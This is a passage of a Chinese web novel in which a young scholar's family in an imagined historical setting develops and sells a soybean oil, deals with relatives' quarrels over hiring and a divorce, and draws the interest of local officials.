赵丰年再次被裹成了一个球,被他爹背着到了赵三伯家里。 屋里的气氛很是严肃,只听得到陈莲跟两个女儿不时的抽泣声。 见赵来贺一家进来,赵老头叹了口气。 “老四,老四家的,你们来了,今天这事,跟你们本来无关,只是到底是一家人,便想着也听听你们的意思。” 原来,赵来庆几个月前去县城办事的时候就认识了个小寡妇,两人来往几个月了,本来赵来庆在镇上,也不是时时有空去县城,但是前不久,钱员外因着赵丰年家这一层关系,便提拔了赵来庆去了县城的宅子做事,这下倒是方便了赵来庆了,竟直接住到了那小寡妇家里去了。 两人都在县城的时候多了,年前又有不少人去县城办年货,一来二去,可不就跟那天赵丰年一家一样,刚好撞见了么。 前阵子村里开始出现了一些流言,说是赵三在外面有了相好的,不要村里的媳妇了。 陈莲本就因丈夫不着家而忧心,听了这些话,就更加焦急不安了,而昨天王小红告诉她看见了赵来庆跟个年轻貌美的小媳妇一起逛集市,当即就让她天旋地转,竟是晕了过去,还是两个闺女机灵,忙去老宅喊了人来,才救了起来。 赵老头跟张氏也立马决定要跟陈莲一起去县城找人,到了那边的时候,赵来庆正跟那小寡妇挨在一块儿有说有笑,赵老头还有什么不明白的,他赵老三这是真的在外面有了相好的了! 昨晚折腾了一晚上,陈莲从歇斯底里到默默哭泣,最后闹着要跟赵来庆和离,还要带走两个女儿。 赵丰年听完整个事情,其实并不赞同陈莲和离。 这个时代对女子十分苛刻,本来女子就被人看轻,和离的女子更加不容易了,和离后生存都是个难题,倒不如拿着赵来庆的钱,眼不见为净,往后自己过着自己的小日子,多存点钱财傍身,静待时机再离开。 “要不怎么说血浓于水,三嫂平日里怎么嫌弃两个孩子都是看在眼里的,到了这个时候倒是情愿什么也不要都要带走两个女儿了。” 回家的路上,巧娘唏嘘不已。 “三哥当真是糊涂,为了一个外面的女人竟然连妻女都不要了。” 巧娘翻了个白眼,“男人就是这个性子,宝儿,你往后可千万别学你三叔,圣贤书都不知道读到哪里去了!话说,你方才跟你三伯娘说啥了,我看她回来后倒是冷静了不少。” “没什么,就是劝她再靠靠考虑考虑。” 巧娘叹了口气,“她如今正气头上,怕是听不进去的。” 赵老三跟陈莲闹着和离的事很快就在赵家村传开了,赵老三的岳家,也就是陈湾村的陈秀才一家也来到了赵家村,要赵老三给一个说法。 因为这事,赵丰年一家直到初三才去柳河村给柳老头柳大拜年。 到了柳家,夏氏也问了这事。 夏氏根王小红都是下河村人,初二回娘家的时候就听闻了这件事。 “当真是要离了?” “陈秀才来了一趟,还没定下来,估计八九不离十了。” 夏氏拉着巧娘打听消息的时候,赵丰年在跟柳大讨论起来了他的榨油机。 赵丰年图纸画得一如既往得详细,柳大看了后,又问了几个细节上的问题,说给几日功夫就能给他做好送过去。 赵丰年自然不能让他年都过不好替自己干活,只说元宵后再做也不迟。 柳大笑着应下来。 元宵第二天,柳大就将赵丰年要的东西送了过来。 赵丰年哭笑不得,果然是元宵后,只不过,按这样来,怕是正月里就开始做了。 这次的榨油工具颇为庞大,刚好此前张县令送银子的时候就多做了几间屋子,如今一间是赵丰年的书房,还有两间空着,刚好放置新工具。 赵来贺听说了这东西的用处,也好奇不已,当即就想要去地窖取豆子来试一试,却被赵丰年拦住了。 “爹,这古法榨油步骤有些繁琐,每一步都至关重要,等我把步骤理理顺了,我们再试也无妨,当务之急是,咱们家也该挖口井了,后面真的开始运作了,用水也多,一直去河里担水总归是不太方便。” 赵来贺一想,确实是这个道理,“咱们家养鸡,按理早就该打一口井了,我明日就去镇上请人到家里来瞧瞧。” 也不是想挖就挖的,还要勘测点穴,确定了地方有水才行呢。 不过他们家地方大,这边不行换一处,总有地方合适的,赵来贺倒是不着急这个。 赵丰年家的井打好,赵家三房的事也落下了帷幕。 陈莲跟赵老三和离了。 两个孩子还有家里大半的银子都归了陈莲,在此基础上,赵老头做主,又掏了十两给陈莲,只说让她留着傍身,有什么事可以来找他们。 陈莲泣不成声。 还特意来赵丰年家,感谢之前他们一家借她驴车的事。 “你们接下来要回陈湾村还是?” 陈莲点点头,又摇摇头,“先回去住几日,实不相瞒,我这两年一直帮县城一家绣坊做绣品,年前她们还问我愿不愿意去绣房当绣娘,我本来想着村里到县城,来回不便,便拒绝了,只是如今我也没什么牵挂,不必住在村里,索性再去问问那边还需不需要人,若是真要我了,我就带着盼娣招娣去县城。” 巧娘闻言也替她感到高兴。 “绣坊好,也是你有这样一门手艺,进了绣坊往后也不愁了!总归是饿不着的。” 陈莲微笑着摸了摸女儿的发顶,一脸慈爱,“是啊,只是要苦了阿玉阿珠跟着我这个没用的娘一起吃苦了。” 巧娘起初有些惊讶,随即便笑了,“阿玉,阿珠,都是好名字呢”。 陈莲终于是想开了,巧娘为她们感到高兴。 如珠似玉,确实是好名字,赵丰年看着她俩戴在头上的发带,认出了这还是去年他买给家里女孩子的,如今还颜色鲜亮,可见两人平日里很爱惜。 陈莲走的时候,巧娘给塞了一大篮鸡蛋。 “别推辞,我家就这个多了。” 陈莲用手帕按了按眼角,接受了这份好意。 “三伯娘,倘若是有难处了,你可以随时回来。” 陈莲笑了笑,又掏出了一个玉色的香囊,“险些忘了,这个给你,宝儿,谢谢你跟伯娘说的那些话,这是我自个儿做的,里面放了提神醒脑的香草,我听说县城的读书人都讲究这个,莫嫌弃。” 赵丰年接过香囊,上面依 旧是绣着笔直的青竹。 第35章 第35章丰收油 “我就在山坡上,打几只兔子,好久没吃兔肉了,还怪想的。” “兔肉有什么好吃的,又老又柴。”柳巧娘不愿意做那玩意儿,废柴火。 “咱们用酱油烧,指定好吃,我再去拔几根笋子,一起炒了,灶上多煨几刻钟肉就软了。”笋子是家里竹林里可以现挖的,春笋没有冬笋鲜甜,但是味道也不差。 巧娘松口了,毕竟如今家里也没什么事,养鸡喂鸡有赵青青翠翠两孩子一起帮忙,过了年后,王小红可能是想着能少两张嘴吃饭,只把姐妹俩往这边一送,闹的俩孩子羞愧不已,巧娘倒是没说什么,照样对俩孩子跟以前一样。 前不久家里水井也打好了,连担水都不需要了,洗衣做饭都方便,家里没什么活,故而,巧娘也不想把汉子整日拘在家里了。 赵丰年今日适逢休息,听完也起了一点兴趣,赵来贺索性带着他一起去。 今年也有不少人挖芫花去卖,不过可能前两年收的太多了,几乎都是贱卖了,但是对于庄稼人而言,哪怕就是一文钱,能赚到手里就是好的。 遇到父子二人,大家纷纷打招呼。 “来贺,这是带儿子进山呢?” “没呢,去外围瞅瞅,掏兔子去!” 赵来贺带着赵丰年去了林子外围,还没看到兔子,倒是先看到了蘑菇,赵来贺去掏兔子洞了,赵丰年认出了这是一种可食用的蘑菇,索性摘了几朵,采得投入了,跟着蘑菇走,又发现了一根布满黑木耳的枯树。 树已经倒在了地上,木耳却生长得越加旺盛。 赵丰年找到了乐趣,摘得停不下手。 那头,赵来贺拎着两只兔子顺着痕迹找到了儿子,见他蹲在树干旁摘木耳摘得不亦乐乎,当即就笑着加入了进去。 父子俩忙了一下午,出了林子才发现天下起了小雨,赵来贺背上背篓,直接将儿子扛起来,“走喽,回家喽——” 春雨润如油,今年一定有个好收成。 五月农忙结束,赵家一家去县城赶集,这次竟然发现了酱油的声音。 “几位客官瞧一瞧,这可是府城来的新货酱油,炖肉的时候来上一小勺,好家伙,那味道,能把人香晕过去!一斤只要六十文!” “六十文,这也太贵了!” “这位客官,一点都不贵,这里头有盐呢,而且府城里的人都在吃,您打点回去尝尝就知道多值当了!” “可以少称几两试试吗?” “自然是可以的!” 一想到家里新晒的两大缸酱油,巧娘就心头一阵火热,不过那些拿来送礼也不错,再说,他们家要开始做豆油了,宝儿可说了,那是比酱油还要好的东西。 古法榨油不光能榨黄豆油,还有花生油、菜籽油,只是赵丰年目前还没在怀江府发现种花生跟菜籽的,许是这个时代没有,又许是还没传到怀江府来。 榨豆油的步骤不少,大致是要先清洗,而后小火炒干豆子,碾碎,再将豆子粉末蒸熟,又要不能蒸太熟,然后压成豆饼,放到榨油的槽里,用木楔榨,通过力的撞击,将油榨出来,这些步骤听起来简单,但每一步都需要摸索,前几个月赵丰年一下学回到家里就跟赵来贺一起琢磨,休息日更是一步步的实验,经过几个月的实验,才终于确定了每一步的细节,只等赵丰年放农忙假就要开始榨油了。 赵丰年放了农忙假了,巧娘便也让赵青青赵翠翠两个孩子归家了,不是她不相信两个孩子,只是事关重大,她只得做一回“小人”了,还是听赵丰年说过的那句“以小人之心度君子之腹”学来的。 赵青青从来不刻意打听她四叔四婶家的事,就怕知道多了她娘王小红又要问,这些日子她也隐约赵丰年在忙着什么大事,本来还担心农忙假赵丰年成天在家一不留神就撞上瞧见了,因此巧娘一说让她们农忙家去不必过来,当即心里就松了口气。 头一回榨油,准备了一百斤的豆子,最后得了三十斤左右的油。 看到清澈透亮的油出来,巧娘每看一遍都觉得新奇欢喜。 这出油量已经很不错了,在此之前,刚刚实验的时候一百斤豆子只能得二十来斤,就是十来斤的时候也有,因此赵丰年也是不断改进榨油工具。 柳大前几个月别的活没接,尽紧着替外甥忙活了,是以,得了一坛油后,赵来贺赵丰年一致决定先送给柳家尝尝新油。 而后几日,一家人不断摸索,终于让出油量维持在百分之三十五左右,一百斤出三十五斤的豆油。 这个比例,放在古法榨油上已经很可观了,赵丰年也很满意。 巧娘早就用豆油做上了菜。 “一点乱七八糟的味道都没有,比猪油好多了,颜色也漂亮,炒出来的菜也香着,这谁能瞧出是大豆做的,再说,一斤豆子才多少钱,一百斤也就四钱银子,猪油可要卖三十文一斤,咱们这豆油就算比不上荤油,只卖它十五文钱,三十五就是五钱二十五文,都能赚一钱二十五文呢!” 假设他们两天做三十五斤,一个月就有五百多斤,差不多能赚七八两,一年就有近一百两,而巧娘养鸡差不多一年也就赚五十两左右,甲鱼倒是多的,只不过场地有限制,往后儿子考科举,去了府城乃至京城,那甲鱼就养不了了,这榨油的手艺可是一门能代代相传的手艺! 赵丰年也理解赵来贺巧娘,在他们看来掌握一门手艺总是要比地里刨食养鸡养鸭有出路,才算是正经的手艺,事实上,如今也正是这样,柳家就是因为父子俩会木工,生活比大多数人家轻松不少。 这个时代,手艺那是轻易不外传的。 赵丰年也没打算广而告之,只是他没告诉赵来贺巧娘的是,他想开个榨油工坊,乃至工厂,将成本压低,形成产业链,提高效率,往后,榨豆油的赚的钱绝对不是养甲鱼比得上的。 只不过,这些都是后面的事了,眼下该考虑的是怎么让百姓们知道这是好东西,成功卖出去。 “嗨,这有什么难的,能吃的油,还比那猪板油便宜,大家伙都会买的,换做是我跟你爹,就算是头一回听到,也会买些回来做菜尝尝,等大家尝过了,知道了它的好,那就是回头客了。”巧娘对自家的油很有信心,赵来贺同样如此。 赵丰年这才想到,自己是陷入了误区了,平头百姓一年到头能吃几次猪肉,又能买的起几次猪油,有便宜的油自然是会买的,多少是沾点油水。 大豆油最后定价为二十文,比猪板油便宜十文钱,为了掩人耳目,也是为了有个好寓意,起了个“丰收油”的名,倒是也契合是庄稼做的油。 买油的事赵来贺跟巧娘没让赵丰年沾手,只让他专心读书去,等赵丰年在学堂里听到有人议论最近出现的“丰收油”,便知道他爹娘是成功了。 “那油晶莹剔透,透着淡淡的金黄色,闻起来还带着清香,关键是便宜,我爹娘住在镇上,还让我今日下学的时候务必打二两回去呢。” 听着同窗的议论,赵丰年内心也逐渐放松下来。 又过了几个月,赵家村里也有人说起县城出现的新油,赵来贺巧娘在吆喝了几次散油后,便花了些银子寄放在粮铺搭着卖,是以村里人暂时还不清楚这油就是出自赵家村。只听见过的人将那油如何夸得天上有地下无,心里也火热着,想着什么时候也要去县城买上一斤半两回家炒菜试试,要是真有那么好,以后也不必花三十两买猪板油了,这个便宜十文钱,能买上两斤糙米了。 但是,很快村里就知道了这是赵四家新弄出来的东西了。 无他,起先赵家放在粮铺寄卖的丰收油卖得火热,连带着粮铺的生意都好了许多,两家粮铺的主事不约而同来了赵家村拜访。 赵家村这下又沸腾了,他们议论了几个月的好东西竟然是赵四家做的,那些县城的大老爷们居然还亲自上赵四家门,对赵四客客气气的,他们上县城买东西的时候什么时候见 到那些管事掌柜的这样的好脸色,当即又是羡慕又是嫉妒。 而机灵的人已经从家里取了油罐上村西头赵家去问价了。 “都是一个村的乡亲,我还能诓你们不成,是真的没有了,下一批得等五天后了,你们也知道,我们家人少,这东西做起来又费时费力的,也就赚个辛苦钱了,这样,等后面有了,一定先通知大家如何?” “来贺,你家这丰收油真的二十文一斤?比猪板油便宜一半?” “你们家这油怎么来的?也是猪肉上的?” “都是一个村里的,能不能便宜点?” 众人七嘴八舌问开了,赵来贺忽略掉那些问制作方法来源的人,只说会给乡亲们便宜几文钱就关门回家了。 留下众人还在议论这事。 赵家丰收油彻底火了,随之而来的问题也来了,产量跟不上销量。 第36章 第36章学徒 赵丰年提出了雇人,赵来贺有些犹豫,赵丰年也理解,无非是怕被泄密,或者偷学了去。 只是这东西在赵丰年看来其实没什么技术含量,日子久了大家迟早会知道他们用的原料就是大豆,知道了原料就会有人去研究模仿,赵丰年从来不小看古人的智慧,相反,严苛的生存环境会逼人去钻研出一套生活方式来。 听完赵丰年的解释,赵来贺巧娘才松了口。 至于招谁,赵丰年第一个想到的是柳家人。 这么久相处下来,柳家的人品毋庸置疑,起初赵丰年托柳大给自己做榨油工具的时候,柳大刚开始不明所以还没说什么,待后面赵丰年解释零件作用的时候,柳大直接打断了他,自己就找来了文书,直接表明要跟他签保密的契书。 柳家其他人也是同样的意思,按照柳老头的话讲,就是—— “咱们手艺人,给人家做活的,就是要懂一个守口如瓶,诚信为本,不然,你以为为什么县里镇上的人都乐意来找咱们家打家具订东西?” 连夏氏都坚持要订契,赵丰年拗不过柳家,只得签了契书。 这种契书但凡一方违约泄密,赵家是可以拿着契书上衙门的,衙门也有专门负责此类事项的人,能直接上门抓人勒令赔偿。 因此,赵丰年建议雇柳家的两个表哥,大尺小尺。 大尺小尺是一对双胞胎,大尺继承了柳大的力气,小尺则继承了柳家的木工天赋,两人如今已经十五岁了,正月里去柳家的时候,夏氏说要准备替两个儿子相看,年后打算把送大尺去镇上张屠户那边做学徒,而小尺则在家学木工。 夏氏提起这事的时候有些忧心,赵丰年也看在了眼里,他也是这时候才知道,这年头给人家做学徒,那是要免费干两三年活的,吃得好不好,穿得暖不暖全看师傅良心如何了。 而就这,也还是柳家有些个本事才能给孩子送去当学徒学本事,寻常的人家还没这个路子呢。 因此,巧娘一听儿子说要让两个外甥来给自家干活,当即觉得这个主意好极了,与其去镇上替旁人干活,不如来自己家,至少自己亲外甥,他们肯定是不会亏待孩子的,而柳家肯定也能明白个中道理。 事不宜迟,赵来贺当天下午就套了车去柳河村了。 到了柳家,赵来贺也没多寒暄,直接表明了来意。 柳家先是惊了一瞬间,见他们没立即答应,赵来贺以为他们不同意,立马要再解释的时候,就见夏氏红着眼睛连连点头。 “难为你们还念着他们呢,有这样的好事,我哪里还看得上猪肉铺的学徒!我今日就把话放这里了,两孩子妹夫你直接领走,该让他们做什么就做什么,不听话你只管打骂,就是回到了家里我也要骂他们!” 谁舍得将孩子送去人家白白干活,小心翼翼伺候师傅,不就是为了能学一门手艺往后好养活自己么,只是大尺空有一身蛮力,无论是读书还是做木工都一窍不通,夏氏给人家说要送儿子去猪肉铺当学徒的时候说的轻巧,其实心里一直就不放心,如今有了更好的选择,自然是欢喜不已,险些喜极而泣了。 谁不知道如今妹夫家就是个香饽饽,又是养鸡又是买油的,就是柳河村都有不少人问到她们家里来,两个儿子去了,虽说是帮忙干活,只是这自家人,还能让孩子吃亏不成,夏氏一千个一万个同意。 柳老头柳大也很感动,只当是闺女/妹妹照顾家里。 “来贺你是好意,也是这两个孩子的造化,只是一码归一码,该签的契还是照样要签的,我知道你那丰收油肯定是能赚钱的,只是这法子是宝儿想出来的,那是你自家的东西,更是宝儿的东西,两个孩子去帮忙,给他们一口饭吃就成,他们若是泄漏了你家的手艺,我头一个不答应!” 柳大跟着点头,夏氏只笑着,也没有意见。 赵来贺听完儿子一番话后也知道了,这榨油发子迟早会被其他人模仿出来,倒也不担心,亲兄弟明算账,契书是要签,但是工钱也要给。 听到赵来贺说每个月还要给两个孩子一人一钱银子,夏氏是彻底安心了。 “妹夫,你稍坐坐,我这就替他俩收拾东西,人你今天就带走!” 这头,巧娘见男人今日就把两个外甥接过来了,也是高兴不已,连忙要去抓鸡。 “你们弟弟不爱鸡汤,咱们不管他,只管自个儿喝!你俩正是长身体的时候,姑姑这可是养了两年的老母鸡,滋补着呢!” 小尺还在想竟还有人不爱喝鸡汤的,大尺就简单多了,知道自己是来干活的,直接拿起扫帚去收拾院子了。 赵丰年已经很明白两位表兄的性格,见状也只是笑了笑。 自打家里开始榨油起,赵青青就没有再带着妹妹来了,巧娘听说王小红在家里骂了好几次孩子,只能摇着头叹气,将准备给姐妹俩的银子又收了起来。 赵丰年得知此事,去了一趟二房,最后约好赵青青赵翠翠每天往他们家送五背篓青草,他们家一背篓给一文钱。 赵青青是自己不愿意来的,怕知道的太多,怕王小红要的太多,也怕还不起他们家的恩情。 赵丰年理解赵青青的想法,只是他想告诉赵青青,有时候人也可以活得自私一些。 既然她怕接触太多知道了他们家的秘密,那就只谈交易,而只有赚了钱,她才能在家里过得好一些,基于有王小红这个娘,他依旧不会给太多。 王小红本就想让两个闺女去赵四家,如今一听有钱拿,立马就同意了,直接替姐妹俩答应下来。 赵青青却别过了眼神。 赵丰年忽然懂了那句“歹竹出好笋”。 另一头,大尺小尺很快便上手榨油,赵家丰收油的产量也终于上来了。 而得知赵家雇了巧娘娘家外甥帮工,许多人的心思又活泛了。 “赵四情愿找外家的外甥都不愿意用自家人,可见几家人是真生分了。” “三娘,你家大胖如今也十三四岁了吧?大胖到底读过几年书,你们就甘心让孩子土里刨食?没想过送去县城当学徒?” “还当什么学徒,要我说,直接去他四叔家帮工,倒是还便宜呢,又能学手艺,又过得舒坦,再过一两年,说个媳妇,那日子可就过得舒坦。” “也是,再过一两年就该相看了。” 王三娘听着你一言我一语,强撑着笑,“大胖那臭小子,性子大着呢,我都说不了他几句,我才懒得管他呢!” 话是如此,到了家,王三娘衣服都没晒,撂下衣服篓子站在院子里就骂了起来。 赵来金扛着一捆干柴正推开院子门,见她骂得难听,就问了,王三娘更是气不打一处来。 “还不是你两个好儿子,整日的游手好闲!正事不干一件!” “你说大胖还是二胖?大胖在地里拔草呢,可没游手好闲,倒是二胖,确实不像话,这么大人了,还成日地跟村里小子们到处野,晚上我说说他。” 王三娘一听就更生气了,“拔草!你听听,他在地里拔草,老娘送他去读书,是为了他能上地里拔草吗?人家儿子读书的读书,学手艺的学手艺,他可倒好,搁地里拔草,活该一辈子没出息!” 赵来金不解,“这又是怎么了,不是都说了么,孩子不喜欢读书,你强逼着他算怎么回事,我看大胖这样挺好,如今谁不说他做事麻利又稳重的,能帮家里做不少活。” “谁让他做这些活了?” 赵来金无奈,“那你想怎么着?让他歇着,还去读书?然后让二胖去干地里的活?” 王三红看了赵来金一眼,“你就没想过让你大儿子有个手艺?” “你是说送到镇上当学徒?” 王三红给了他一个白眼,“你老赵家现在就有人过的风生水起,还把外人接家里养着,这种好事偏偏怎么就不记得侄子呢。” 赵来金这才琢磨过味来,“你是想让大胖去四弟那边?” “他们家不是正弄那什么‘制油作坊’的吗,前头还叫了赵青青赵翠翠那两个丫头片子去帮忙,现如今又喊了娘家侄子,怎么就不能让他正经侄子去了?” 赵来金有些为难,但是更多的是心动。 当爹的怎么会不想要儿子有个好前程呢,只是他们几个兄弟之间,说实话,关系并不怎么融洽,直接上去问,倘若被拒绝了,他是当大哥的,被弟弟拒之门外,这往后脸面往哪搁。 王三娘不满他这样优柔寡断,当晚就跟公爹赵老头提了这事,赵老头没有拒绝。 于是,这天,赵来贺刚清理完鸡棚,就听见了敲门声。 来人是正是赵来金,赵丰年大伯。 “老四,忙呢?爹让你有空回趟家,晚上回老宅吃饭吧。” 赵来贺知道八成也是他家制油作坊的事,点头答应了。 到了傍晚,巧娘带了一碗炒鸡蛋,一家人就往老宅去了。 第37章 第37章天生当官的料子 一家人刚到老宅,只见王三娘正站在篱笆院内。 王三娘见她捧着一个海碗,高兴得跟什么似的,“哎呦,来兄嫂这里吃饭,还带什么菜!” 只是等她接过来翻开盖碗一瞧,笑容顿时消失了,转身回厨房的时候还在嘀咕,“就碗鸡蛋打发谁呢,跟谁不知道她家养鸡似的,哪怕带碗肉呢!” 赵来金尴尬地笑了笑,请他们进堂屋坐。 巧娘也没来时的心情了,索性也不客套了,只带着赵丰年往里走。 赵家隔壁也瞧到这一幕。 “这来金媳妇可真是贪心,炒鸡蛋都不稀罕,谁给我一碗炒鸡蛋我能高兴小半个月!” “你倒是想,可你也没个养鸡的妯娌啊。” “那鸡蛋保不齐是她家新油做的呢,还不兴我想想了!” 到了堂屋,赵老头让他们坐,张氏瞧见赵丰年便笑。 “好好好,瞧着是比去年又结实了!” 巧娘也笑,“是长高了,前些日子给他翻夏衣出来,短了一大截。” “这是好事!” “上回去县城,大夫也说宝儿身体比以前是好多了。” “还要不要吃药了?” “在吃补药呢,”巧娘摸着儿子的头,“大夫说了,这是胎里带来的不足,少不得多吃上几年看看。” 张氏叹了口气,都是穷造的孽。 不多时,一家人就上了桌。 只见一盆的白菜炖茄子,一碗酸菜,再一碗凉拌黄瓜,唯一的荤菜还是巧娘带过来的炒鸡蛋。 主食是豆饭,还是以前的规矩,出力气的男丁能吃一碗,其他人都是半碗。 赵老头看了眼大儿媳妇,没说什么,赵大胖读了一年多的书,明白了一些道理,此时也沉默不语,只是赵二胖就不乐意了。 “娘,说好今天要吃肉的,怎么还是炖萝卜!” “吃吃吃,有饭吃还堵不住你的嘴,当你爹也有养鸡做油的本事不成,一个个的,见天的想吃肉,日子不要过了啊?” 赵来金只觉得脸上火辣辣的烧,拉了拉媳妇的衣服,示意她别说了。 王三娘甩开他,白了他一眼,“你倘若有本事,你儿子也能吃上肉了,还怪我不该说了?” 赵来金又气又愧,只招呼赵来贺几人吃菜。 赵来贺不想一顿饭闹得难看,只笑了笑,给儿子夹了一筷子的鸡蛋。 赵二胖正要哭闹,赵来贺紧接着又给他跟大胖碗里各夹了一筷子。 豆饭是豆子跟麦子一起煮的,至于谷子,那东西价高,寻常人家除了上税,都是要留着卖钱的,可舍不得自己吃。 但赵来贺巧娘向来舍不得儿子吃苦,加之大夫说了赵丰年脾胃弱,自打分家后,隔三差五便给他做细面馒头养脾胃,大米饭也是常有的,自从巧娘孵小鸡赚上钱后,他们家就更是很少吃豆饭了,这还是这一两年来,赵丰年头一回吃豆饭,如今吃着倒是别有一番味道。 他肠胃弱,寻常吃饭就比别人慢,慢条斯理,以前一大家子的时候不上桌看不出来,如今在桌上大家一对比,顿时就让人觉得像那么回事,好看!却又说不上来哪里好,只下意识动作都跟着轻慢了起来。 赵老头看着他这模样也挺乐呵,问了几句他在县城学堂的事,赵丰年一一答了。 见爷孙俩还要继续往下聊,王三娘倒是着急了,这回换她拉扯赵来金的衣服,示意让他提。 今天这顿饭本来就是为了让大胖去老四家作坊干活的,本来赵老头已经松了口帮着劝老四,如今却拉着小孙子问学业,全然一副忘记原本计划的样子,赵来金懂他爹,往日了答应的事就一定会做到,如今作出这幅模样,无非是不满媳妇王三娘口无遮拦罢了。 就是赵来金自己也觉得,既然是要求人办事,那就要摆出求人的姿态来,媳妇这样,老四没甩脸就走已经是在看在爹娘跟他这个大哥的面子了。 只是,自己的儿子自己不上心不行。 “咳咳,”赵来金清清嗓子,“老四,你那作坊近来挺好的吧?” 赵来贺笑了笑,“劳大哥记挂,还成,能糊口。” 有了这插曲,赵老头也不问赵来丰年学堂的事了,只是依旧没开口帮腔。 赵来金心中苦涩,“那什么,听说弟媳两个外甥如今在你家帮忙?” “是有这个事,这两个孩子都是好样的,活干得也利索,有了他俩帮忙,可是省了我跟他娘不少力了。” 赵丰年已经琢磨出他大伯跟大伯娘的算盘了,只是他看了眼大胖,并不认为大胖也知道这事。 “那,你那作坊还缺人不?你看大胖,你侄子,他也是干活的一把好手呢!” 果不其然,赵来金的话刚一出,赵大胖就惊讶地看向了他爹。 赵丰年暗中摇头。 “爹,你怎么不跟我商量一下?” 王三娘立马瞪了一眼儿子,“你闭嘴,大人说话呢,你知道个什么!” 瞪完儿子,王三娘立马赔笑道,“他四叔啊,你看看,都是一家人呢,大胖可是你亲侄子,两个干活也是干,三个干也是干,再说,谁都比不上自家人不是?” 这话说的,柳家就算外人了? 巧娘冷笑,放下了筷子。 “大嫂这话就有失偏颇了,都是自家亲戚,没什么亲疏远近的,再者说了,这丰收油本就是宝儿想出来的,大尺小尺年长几岁,一向会照顾人,请了他们来,还能帮着照顾宝儿,我跟他娘都安心。大胖是好孩子,大哥大嫂一向宝贝重视的,他来我这个做叔叔的家里玩还成,让这么小的孩子帮我做事,那成什么样!不知道的还以我这个做叔叔的苛待侄子呢 !” “那你们前面还让老二家的闺女去干活呢!”王三娘脱口而出。 巧娘忍不住了,“说实在的,这事确实是我们对不住二嫂家,青青翠翠本来是上家来陪宝儿聊天学习的,谁成想俩孩子实在是太麻利能干了,见天的帮我干活,也没拿一个子。 说完,巧娘长叹一口气。 赵老头却问了,“宝儿又从书里学了制油之法?不错不错,比你三叔有本事多了!” 赵丰年只觉得一股目光落在自己身上,抬头一看,果然见大胖此时正看着自己,眼神中充满了怨念。 你居然叫那么多人上家去玩却没叫我。 赵丰年看懂了他的眼神。 可他也很无奈。 柳家但凡有一个人是拎不清的,他都不会考虑大尺小尺,而为什么赵青青赵翠翠可以,一是因为他欣赏赵青青身上的品质,二是,这时候的女子跟男子是不同的,她们不被抱着期许。 换句话说,倘若赵青青翠翠是男子,赵丰年也不会请她们。 很残忍,但是这就是这个时代的最真实的一面。 在他没有足够的、足以影响他人命运的权势之前,他说的话做的事便不会有人听,也不会有人当回事。 这顿饭谁都没吃饱。 回到家,巧娘立马下厨重新做了一桌饭菜。 “什么外人内人的,我只看谁对我好才算呢!” 赵家的丰收油真正风靡整个怀临县,是府城的张通判,原先的临县县令为了这油亲自接见了赵丰年。 彼时赵丰年还在县学,被夫子通知张通判要见他后,整个学堂里都在猜测是什么事情,还是夫子告诉他们,张通判是为了丰收油来的。 县学的学子们早就被赵丰年的“变态”轮番打击了个遍,如今才知道近几个月来风靡全县的丰收油竟也是赵丰年想出来的,顿时一众人再次喊着“非人哉”。 张通判还真是为了丰收油而来,皇帝的诞辰在即,他们怀江府官员正搜集着各种稀奇罕见的东西进献京城,这时候,他手底下有个官员知道他是临县升上来的,特意带了一罐临县的丰收油讨好他。 张通判本来还不以为意,直到听说这油取自庄稼,比寻常的猪板油廉价,顿时就来了兴趣,等再一打听,是临县那个八岁就考中了童生的神童弄出来的东西,张通判就知道稳了。 故而,他特意来临县见赵丰年,就是为了详细问问这丰收油,以免犯了什么忌讳。 赵丰年本来还在想为何张通判为何这般重视入口的东西,见到他问得仔细,忽然就记起了前不久夫子提过陛下寿诞,县学学子均需作诗一首以贺陛下千秋。 赵丰年顿时就明白了。 是以,赵丰年对张通判知无不言,且一个劲将丰收油往高了去夸。 什么不忍百姓苦猪油价贵久矣啦,什么效仿圣贤尝百草啦,什么看到了丰收的景象灵机一动取名啦 听得张通判双眼放光,恨不得把人直接献上去。 听听,什么叫做忧上官之忧,这才是天生当官的料子! 临走的时候,张通判慈爱地看着赵丰年,“好好读书,老夫期待未来与你同朝做官。” 赵丰年笑着拱手,“那丰年就等着在京城看到大人了。” 赵丰年什么时候会去京城?自然是中举过会试了,而张通判能去京城,自然是又高升了。 一番话听得张通判浑身畅快。 彼此都很满意。 张通判走了后,赵丰年刚进学堂入座没多久,就见夫子再次笑着让他出去一趟,顾大人接见。 赵丰年走后,一众学子立马又羡慕起来。 第38章 第38章三合一 “一连两任县令大人都对赵同窗青眼有加,实在令人钦佩。” 顾子升就是来问赵丰年张通判情况的。 他自然知道张通判的目的,只是他担心张通判会对赵丰年施压让他献出方子来。 赵丰年接受了顾子升的好意,然后将方子递到了他手上。 吓得顾子升当即就把那方子抛了出去。 “你干嘛?!” 赵丰年:“” “倒也没必要作出一副被欺负的小媳妇模样吧?” 顾子升放下缩起来的手,掩饰性地咳嗽了两声,这才缓过劲来。 “你的方子你给我做什么?” “见你好奇。” 顾子升忙解释,“我可不是馋你这方子,我家里又不缺钱,我的意思是,张谦那人,挺会钻营的,别是问你要了方子进献给陛下当自己功劳了吧?” “你就不想也往上钻营钻营?” 赵丰年忽然问道。 顾子升正要开口,赵丰年先打断了他,“你可要想清楚啊,得了我这方子,就能在各个村镇建立制油厂,打出临县的品牌名声,让百姓多一条赚钱的路子,刺激百姓消费,盘活商业经济,提高民生,吸引外县乃至州府的银子,让临县成为整个怀江府的领头县城,届时,知府你都做得了,如何?” 顾子升睁大了眼睛,随即,他低头看着那张纸,此时它轻飘飘,却又重逾千斤。 但他弯腰捡起了那张纸,看都没看一眼,还给了赵丰年。 “你是在考验我吗?那我现在通过考验了吗?或者说,我现在是个不与民争利的好官了吗?” 赵丰年看着那双像极了大黄的眼睛,笑了,接过那张纸。 “这词可用得不恰当。” “你放心吧,我会当一个好官,帮老百姓过好日子也并非只有这一个法子,就是陛下,也没有说看见人家谋生的法子就要收入国库的道理,你既然答应了张谦,这方子我管不了其他地方,但是在临县,它就是你赵丰年的,衙门如果跟你合作,你也是主导人。” 赵丰年却没接这话,笑着换了个话,“那依你的经验来看,陛下会给我多少作为补偿呢?” “这是利国利民的好事,少说也有万两吧,陛下有钱呢。” 赵丰年挑眉,“成,那我就等着收我的一万两了,若少了,记得给我补上。” 赵丰年说完就往外走了,顾子升这时候才反应过来,他又被赵丰年套话了。 “不过,你真的很厉害啊,你怎么想到那些的?真的凭借一个制油厂就能做到吗?但是,能做到这样的官员,整个大夏也没有吧?” 赵丰年头也没回朝他摆摆手。 顾子升摇了摇头,也回县衙写信去了。 